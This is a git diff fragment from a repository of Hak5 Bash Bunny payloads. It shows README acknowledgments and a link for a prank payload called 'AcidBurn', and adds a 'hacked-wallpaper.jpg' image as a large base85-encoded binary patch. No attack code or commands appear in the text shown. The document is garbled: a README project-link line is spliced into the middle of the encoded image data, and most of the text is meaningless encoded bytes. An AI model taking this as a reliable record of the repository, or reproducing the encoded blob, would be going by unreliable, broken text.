+ + + + + + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [MG](https://github.com/OMG-MG) +* [0iphor13](https://github.com/0iphor13) +* [PhilSutter](https://github.com/PhilSutter) + + + diff --git a/payloads/library/prank/-BB-AcidBurn/hacked-wallpaper.jpg b/payloads/library/prank/-BB-AcidBurn/hacked-wallpaper.jpg new file mode 100644 index 0000000000000000000000000000000000000000..d04161de28968a9a9b8bd3a84330bb281f7c1df0 GIT binary patch literal 78095 zcmeFZcT`jFwk{k6#fFGdloka96*Wp#L1F_`euxwSL5PZULqw&AEETa(1q2k3D2Pan z^qxo;5RhI1#89OK5=vN*WaV4zeee0sIe&cL*>{Y4@7VY5z#1cCtd*>H&UeoFJkNaB z8-5@EH)7XS{VV#24I4HfZo_{FJ{55hA+T}d`ak>
+ + + + + + + + + + + + + + + + + + + + Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/BashBunny/Payloads/BB-AcidBurn) +J8 z`?l@dg?H}WCA?E~=l1QpBzB4J5fc{|-ytHoS3+#>ZZUDO^)J~V0Dnes)7DL!wu%XF z7Z&@6U;OU~(Jg|SLIi;g@`#P18w5l*@M{rB1Y*M`c(m&S{%@}h8{si-7TU6P+jjVZ z!d-}s8w3P43JR=`8ooLJK93L--L(6_$@81{nA{PP_YhNk8u@99!iC%_anp9DqT1bu z&$e!pkledZ>Y$SHp~FYiH8izOoj!B%lAgZ7 KlGEHg$A% zb@%l4^$*ZTM#sh{CjU%LvlbSYmf0)d>e{+p8xR72H|yUl`%iX>!gg&G6ci8?TDNP% zMsN5K5Ea~X;N<4r=S_s}c LLgc61s;vrYrcCj>58Jm%D5}#Bver%en`Qqs z!=C*QS@v&+{l9h%Aa)3BfG1Bt6oE$Y%#wo-A(C@-Ze;3xnHt~M)N**k#v}s;V(KF) z+$$8Sf|6%fQANF*IGH#~sWc679V@-rw{#?2`_&g;QAJCiR$23B=F3$}8Cn>Z+~PeN zJ$GKHcJ2;TmWj4Iiww?T6gDnv`{GOQJ*>O( sv3E7tE!{UL5_K(S(7b|!nW}=7qr#wEmIDg!%e!CMN zY1)2n7cbGzgzYh9X7a!9t*GzD#M}+W$xn9eFm3-Qb?X05FnCx`yqEjpZjIBJP*oLv z`B6y5?}o83c)acWV0*>1)#RP%{YXr<`>><*OrZ?E>gC9WOilL0Ws56X2>%UHuB#ui z42~D?cW_?JbIBi^SNeMKb3ZSJ9y??e7!!GJ2cabUVDyjo!S{A7sYhdOW M_GJl cj2eaDklO7<)7_Mc zEK1X7;JDFQ&Ae!-z$*5{*JyNI(xFbS8a;vMbloAmr&TE4W$%OF%;+`CG4EPpaQtK~ zPRiA9d5G6_cf!#bTia5!C4WKw$%7LomrtLaS(<5}N$G5*SE`O0^)4Iki+TGwcE9h! ziL)2=OMi1hEnjQR1~NxSH~xW+Gi&qz#Cvw7dz?)?vcpUtxe__6ymJ46<@hP&kj6>{ z+B(*3-`$gMKff(7E&9M%)D=LdnQ10I=sS}8Fg!=Aw-7RD?x6aF7<3f)hnWxAXr?$9 zKahwd`!pV~A>p0mM#yh?anM;SAK+rQI!3}xX<)c(d&udzeTgxxQu|LU20lYHj#sLD z Je&KQxO(l5_tJ^p^vo#D9I!Sv(a+EX$Q(n6PHRVFEcn4R 5*!7^0nC;_s&r-A9yP|=rwaw^^Uc^Sq!zR#o11YdRmgyY-Pb7 z%Zl>H%B_-W VXwA~oo z`U3( +-oH$WN4rD}ROyOLU!Rgfy|h@gD$U<>KK<6NW3ft#4p%?4 zH7%&7q$!mW2MpQ42@J_3apoXHEVxB{dC6&$@x|RpyIN=?*^4z9iqlnamf9JedH%k9 z`(3MJ%EcG*X18P(zE<3IA$_XLvT+QLvPez~t}_?{9NAt)5s;Am?Bei=n)aB#lqBqy z2pyJ| &u R&u`&u!hr- z9$@t^!2YKP?Eg->HkesNv~ 4fsHIoT-^HV#2A7Jh|> z62zNbcO?W|8~(kce&P7Mef-LSM0@)eYZ>Wt);)RDo?e~PW1!^gwa&Ep;gxb)2U{nT z{et&lPeXfSw)2TBU4_s)BXo;d5xQ=~A3&fle0vQ#*QdJzo$BgMR*dhk`6?gpw&$*3 zq{Q`~&*OfFMkabqVT`7wY6howPJ4a%z46%t4>MQmyqk1{@PV<2^R|5i#h(xQoayQ2 zc{bWg464mk--5?2m6*FM)4HBC?_=Eqmh&mrD|3!kQ$@qVzm^!NYhiZ_3SXUz A5jg(q4W&RR6JqDlY%{t~fa#-PMMfZ*4dlbX7RE2uVh=SE(Lnrnk z @AuJoA(=2LQn5Xl>aD(uU z1!qz5CmSsEW&9H@d&GYZ<29H?pS(4?TLT?5YFqC`>A!M#mlze$m~pMP@z!cj!zhZ4 z_m}T{P};WE+1u4cWL6yi(k O3WL_ nWM<%ze8dIDOWs<_`|WR5-4`2_AOqj1ySETkRtS&I{hoCJB1~yaTrFW|Nom5t z(F$iRt>OLhqC_CR7@(W`{I_A)#2 +YTi^`PcD(h7V3fydp|G#=LmYrkU%BbHd>qacL!G-sa&4 gApmai;lUHgox{PmpOEOyu+V3jeVoYr_#6 z 9*{Jt@qO%mFJAhq;=qlRh4@3&e>F{w-QKuG Hp?rQrJ!HXfkR2_ zTPgQyT(J{5t)4)oUWm1^7ksZ!=(Q(kJh h-FES7?Bfxm+#fs-iJSn{p|CCW}O$+af9Z4w7Bi= z-XnNEV&>Qug#)U-W@UNhV-x;tKBCy1qFv`Z^|hmnLy_qH9R;W@+ghCvlnMMHA6r5T zjFXD#t>zE;$2&{%>uZ&!}Yx9C;$Lt%8~I66tqMrI3% zDZdAJ0*q7a;*n_Hh2YhEXxrhD7F-oF4;AJ~+&OdR#nVh` g8!gB@v!uN2vEM z>~**zB=qJoDdm1&;b+0bsNgH;t1foO?Yy{qcvqvw#}_Gd+@ex)Mc}A+UE3=;fvy6E z3VpJQVK(w2&0}j>$s5<6HKU+{1Hr!s+un3aP+vWpbUBuE!Wn9%6ujjlq&!6=ecWmZ zJIJ6vOQ_nkMlPRDZT>pHTjQPDc|}XnCwVFIllyn<8N3r(x2V)>+}^)7tvol+!?>|m zlc;+5D<6TXixo~R>FW5RLgqZ1&{JWLe3``1xv0gS)$}TIlnhA69gTD^e_Q)ZKU}@Z z_m%G5YH|)}#L_YVTbR@uvevI1w0^1ac)N3P+a#>2ro%VvSN(S6!R4mJ-KR6Ilq?=A z;CiiUJG1Ygyl#;K0AXk*B|ABIb#!!+;g9@I3z3s%Zu3#T!6M|27#(q|R1%gt*Eu-! zIpa0 zV(p<<_EuBmZca^Q*| $x${Hfpq4!U!>(yw^vW zZjm`kd1WWtB{3|l+Gb+tb~9V&-I#xQNU6Oj6=55Beg0^bfpkeu`Z4!}PTM{CoFrZ$ z`KOI- J&Ir(J`muA<{Ctj=7fO^3K8z507@G0Ga zg-JRFd}QA>leOEloyb%;Cg{*3+IO`4&p> v-S3 zYtpBLzkK=B%~-)Kh%+R$@@Vt9i~ zZYZ>i+uy zYB!Xa!;ud-;~iP4goLD_t ty>O}r!PZLwm=<9)nC5jB37+@5!2z45H3euQG+ zVQ8M}5!({{HRSt^y&FILFIw@koJb3*5OQMGu!F%i=Eds;QAWFa>-^e63eiLRi-$bY zYOwdVPEPJNKKgxGcw (!)iqw=`A zi{lvZ@RTT2JFKI~B&CfJ*Lcs0bY )6nkDn9(T=q*pAQ~Z#68-fdTL8Vv_waRip=gpN$#E;Z4b^RykC4h zAJO1fALrqa+-#r0H5m5v2X#uTul=0PYS&d0Jt7j9zh5SpCz$+&SQ0 ChjwD1y%nttCsqZZ_A5y3%$H} zyt{v!_M^bolNk5j5TBIaMa9{K9^I`VaZ^uH{N~qmDnou`;EIf`PUq#U(BNI^*EcjC z70JySAoL{I%21YGqk8Jf{ZA|R(ALZ`Q;(VmyTNLafe>~{9+>-^YPbSA(23h`ITw-T zD+}T~&fZ<{?M}2&e0p>Am44Gt^E>q?fAx@NQ}_sFHI6wS(bxEekC+k $|o77TceMt2P) >-FTjwzn)FdR<}D~ P =bG^D~xfE`EL^YZtzQjlHcE!v-wrF)X zO+SoNA`Z2zE)q6-1c#k@JX(MQ7ob~|*Gy%u_;&V3&_SdMki*LZyBXlia${f?_-6Zf z@i$S|J7yfnSS7>K!%k%y^Ndo^P=gB}7VY+=3HU^F9$jreDfh{PEu8=yeD42)depgP zA(Z>EH`C;1{dB@hi}}SojMoRqp)vgw8 $9=PJqT& zndFo-J6B}C 9KIuEaMuCME^}+NR~DEf?oM-{KinM4|Wcl z@<#2@b=iX##N9X8*}mc^1*f}4*}}zPy9*U}(qITn&Y*=Y&zJvN^=I#4^@dhp>9oCJ zmNwm72j*IhNieO7fMV@T?D2b%Z9n$R`dm}k3A4gWvmbwWN4MVaH-3#Qpm0@a1KRZB zY9e?^ <+!Wd3tq;!aV5!YB0t~$_PK_#Lfi8SthDtCUV zA)*;-?q671@Ww*2yy>JjlT(l3)URPJm1wv;^n;KQ%jwJA;;Wt?39yp5-&@d!rjscJ zI@EWavqa_>E(v{9D2~#!>ixLw{zPRjy9b=%BeqdSu0_BFw&pre9l5ylxdf_#yS4z2 z!cJ^C!b@rEqpB4<{$!0$f?wmxl4+K>Qp{Q*?T5)qV$`2#&JZQD-^=?K=Rz o nfxQ(<0- z LwZ9%a^0XlUIgBLR0MQEftLw2o{9i7k3!$X(PBI9K$k-;eLA!59O^YZ zjqNr;1n-Ni{Xju?a8UPEyV*gVXbvBN>@2L-UGnYqBG1<>&)YAX2Cqu9e}L_ OnumT^AfIT6}rJWB!%a&aoF6o)?D?l7|Bpv -OV$KcV^v4E5&Ig7c3#rj9K zFBvYJOF(rw*qQE3VfLb#U%8q7@V%a6AaN4AH?r)6H!rhUyO=lYG~RmHaL5Fg={9Ex zWqS`Q%%48kj+ys@NNGPg^}(wmY-O+;_Kd-GRw%&iKr+k8H7+}njJf+M%m_Zh(H+HU zp-Q$6g<>bA&(2I_MhtN7EugqM+nZ}d^C2;^*J7uxrTSSZJ4>!L@9gG6BeoY8#q&g) zJCh;`Nnu0>UhrcKta@v%281vq>rtRJhWX5w=*mZ2iP0g=RuYwm7FMu)M65q0xI(0g zk0^{|$AuIa8iP1AgIIt$FUiJn57QJFHlIz#eUmI3%eB3|TK#Vv8qP}hyhe*NTAS_W z7Rj5Azl56)+qq@lXk%v*93NO*IE9%BDgIf*aW#avhmq*3h7q%9(2|d!@)0gSJ4gdM zys&(2ulsFsc0h0jp&me@>5g2>@(zHWfu=v6?HDIQqBPJF=+m`R3=K$O$XQRiGs@Lk zx$N{bPD=&sG&TjdnCmH-Pitlsue)D`h;7HbCyG*B+h#GZ><)EO=rF9)r8!FJo;Y3@ z9I-DMnA`nosDAGJp;fY-Ca$fe`0UKkKbEns<|L!;KQPHkE4E`VZq7C_n;xR%P##hu zmzTv?VFQJq@)0*T@ex0d@eu==QxvMgr~y~S2>E>vP-6g8zk@o8-b0;y#1<{~JiEU8 z`8+kZBCI?=Tx|l#H(#<`ES`kyD6b5L<51Cn_wv->+C(rHW@vG+-$X!T-P1m}i!jBh zgKJ|dJH>;K5F>I`L}r0vY;h!IbiP^6u7&J`NpKuqj$y5^6XB@5II0|?jsvmA>+ZL& zbf(bv!5_ZCOXYp|&g&h(=TD60%&sKc%>)B3S}WRsMcLfk!EA0eNaIqP)7Mn=@L`-& zcsQe;Q-2%R^86twZAikH{ns7}_aF_ cQVu3j4)i+=fcw!hp!k28t@e+5;&JyPHFld3*G658H^@JFI+2!m}YP4w5p4 zBrW@nCdWC!L+wNN-&7^6Xv4W$JhvE@v>bXbRq|j5AMui_wc6KXGVY>V#0BVlMAKxS znB_Qzt0~00C&@>gDCQ$vNon{SEFuTZM*Y%(trM2!#jq2e8-vzJX5cFA{?CQuZL=-J z^46jE)cT(*nQ`Siy@yZ~CJ%F|(Yn!~mkCi?8+w*3CnN*;2sac1CFvYXWDWyVv@`h` zYL*6?kqrilFQ+su>X4$nyyh5*Y!Vjkfu4bVMgpT#rYOuVB=a+#clbE^8=Np0J_5%} zQ@cuWUSw
Ec|Jy?Hs&yt-6#4Kxxxx|Jx@Fqok zZixuGMu4{3>ZLG&e(nvsmMs$ZS^??IF^Datmb?F4q@2zCQQ^t40`7s-T1_-_7} ~cQ 8h`WC~%Ck;4gO7MryzEBO4%S`3 XWYzkGTtW4#3v#34uh3;0??GrhiamC?E~S+cR@*e#^N2`B5jX5(Ysy 8S;*;zG%@#OKVM0h70N^zBp5sW= zuwf{f@pxK1*AumJd$MCH0FM7rLSs~694eDTAuZ~bB~wo8ZYIFhj~T cyrZ9+zcn`9F-d|Bf2s+bUp4gv*~u7?GKuqjR6a z>;RZ$ klcZpC(fv =!1X1dR9bXcP+(*qhB{v z?A3 )^^&VdZl!vQaE8*g>i2LPBG}I8gm-JuDkJ zLh~OnDjYSZc>>fz1;%rL7s;v %vpj0;jVu>noa`f_kCHnw7BvVW)>fjOYSUE z!qQw9>Ra9og>tDL!= 1?E;*pn5y|*aa(qE)9Q+2``2BArMMq=$b5g z@ezPdM_kzm(VRBO;91X*KOudu >UwV1<{v`f82K;iaIj#{+SzBUwWZSn*^bUc9%2`5& z2}U0JNAtBe0>6Wo28X-~SVfmbLefsq9!k;l$%`;e>E#}Yn4M=FB`%{~7GB1bb5=*P z^~!SM%o)66kOd_&@pFptz}akIiUCr8@}!f=g1ij0GYvead&+G92?HJctWJI^46V=2 zAn`bMTi?ogX(t#{7qun {D zgkj?3U5A5v)7P07X`ytbQhc?6)xiD;8(=xI67m=Tu_W+3q3)}p2v-4MW}pjz{BJ-P zFRe+}oi;xi&qnvJz|>s{nNO;vi2jYdS3^yPfiPZ?VA$&?_Ss+qVRkAs;03c&Zzrt7 zzQbmo7CnDguZ}s#%+1$|aZ@-D^JAUE!{PHEsK<>ZB4azuCU?Qz?`?1;16^Q(4p1e& zHNrOl*6A<2^x$4(u&CSkjTh&IZz @UT3o~$_53oo7+&3Xaslz=qC=KRgfwSJFA5 Zgj(1N>99^-K0 zU|_0Va~tS64=ip6*ck`^dm)=Wm_hkKK`lZB>*^qq>&r^vD6_SgX`!&b2fh*db=G5l zo!r4~4`+w*zmdBcuR$l=x{9n2_>L(A*p%=JZ8*(^X>jK#`|5zmED pT^IAk3{UN;q?o%RQKS0N9rjX2T z3^R4b<-s6OeHu>Rd5%9}^6k1NwXydaDp#wA!&KabP|HWiz;1Nrp6`K&2fENem@7JU z?tm8#Xv`--HJXhXPF{t)>S(?0@Fyhv%{zG$!@$c_4)Ecn3Fj;fvzVE}w){h+pCS^3 z9%4UqxaSx^uLSb&A^piv8$6xblK}~Ck?TsltytRIyWZ^&PK4{sahf&D2C1+v<6N9w zIf$maz_oKcAdaV`-p`B6pX3bN!AK-G*DV?qgLW>;0|Lqzy_MyU)yE0#>*_U?LI)IP z;#C%M(QdPO5ulHf?-Xn%h6G(8eWqa7DN_~>FF|B>5SgjEH2b4uOE^5&bM@U}&fqLg z*_|-IZ-`;R>mqvNs^N!%F_GIXVZvm%3>D~BC6h&XQ50tYv?59sFeD+VQAlDw0s8>1 zMlkAD7ecj*?0Vz(Ff+#XujCRF_U0ImMljC9MVeGMFYyPyj0!g`cp=wgksutdbo2G* zj?-;EBAsLW7C%IxwW%8pd4x +ifv |RzkHOimOS4@xI8;7hr}0)tS&wsD0IH72~?l5YwrhPaTfG)qT(~17_ts zFE~O=4;q>O>0WO;jN;UmuKlei03$Zs6F3KHfgu;+gkSFo*s#rnxTY|3K^H=GWnwsR z4Nl;4?KKufHnW{#PYgpc^9qb#!N%7Zz}}yLeil75E?mdjAYMqRldj`X2s;e!v?lsu z80K}0W}Xs_n6;^ua^Lu?$5l-Nupl3S84K{#Bi#58DZKWmfhdK}1MGoqKFyGn7DtE? zT?;d9fG)%_X1}mA$%kp)TrsxZYrTP+-aPbDdv3jmRYo81@4ODzFfMS7ty_{zQPtVR zv4mwTI8#%EX2L8I4l~!T?2iy!6=8XZE1HY3`~g$Uq4`$$WKH?m%$|QVQ~w>*x(#E! zx;TFDsxsV&n}lnN!N|@+*sC>ggjCOSbl*8a^)OrrK%#KOK+BSCi$%wwaxW(^f1pCG zj#!w+27*09Fdz;yOO$6jQ}W^XytYbn92oPpbBbAH)DI1@;!Rf^_L9>nrR&XN?*|bT zpL-3~v!r_#GMM6tFKmur W{tzzdW-HlByCqyiD% zuB& +Nsd0by5*NETL+zkf`0@aenzf#W=@{_^B%^Sh z8@p%I_X70KXu1KfsKZ4UR&HBRTt(!7%}t^A<@UZdkHRWf{4FIp2MI6`FmrV^Tn12F zjRx*9n&tr9w4h7E&UfRzo@9i=l*G=8nh&=_G*4b7&ZBVXYF;I}wYKTjYpoty7^Q8p zV-4v8Kiwbvf9+z?;jCt<*t_E9_i|4mEG2)>ha-0q Ftl-1V?3pC31e8xyAUJWn|MJC-cjbr+lGnnTNX8v;1)MTBrNGeelG} z?dH{!`J1Di_kZ{}s?$x` tUYle^cpZGHV_^ieDPQ-l%YFr!J+EefMd(9#=NsBqFd+cR( zhuhjMf^vM{uwHWE*xlvdf`LbB%6 t0>wjSilLIq-`X@JpOFuMmLnE%$5ZLZJ 1jrWa$l0 zzF%~3u6+PD!-_h5b5PIQ$wR6|xOS)9X_F^MnrfbX-gRDPm-9xy{~I?3uuvfbFbU); zw%tAc+3-}#g>UtB=N0cosWp X&Aua0^o-iw(w!lU-mStUQo zdv6J@I-O4Sry5= Tz3I(e1Hf%MWev4wl42g@ zTVn=oe(WS%*(s7MyM?VWj~2muN`^ijyli^*DngKj+PC!JtjN@@_e|6a^kmN@1QniF ze!gV0?^5jHN4VoB?is!il8ag1cN}?!9v|*g)}DUVrr|>|fmPPN@&_9IS>ILVXi|9S zREy_$-fB{np3jVn8_cd@Slmq;H7SZmPcCryh>bQ}w^^D*J7!^=_lE`KrE>qUT~+E5 zj9@B2o#$@FvA$A`&yq+K=0Qq*KK{;mp!t2kAJXh=KH|*TqF~mhqLSh}2gzvxJ2IOn zN!LVvEt78l%26(FzwcN!;C?Si$|x|bcE?EN&orHsgsTsp%iQwpp?#_g{@%9jZ9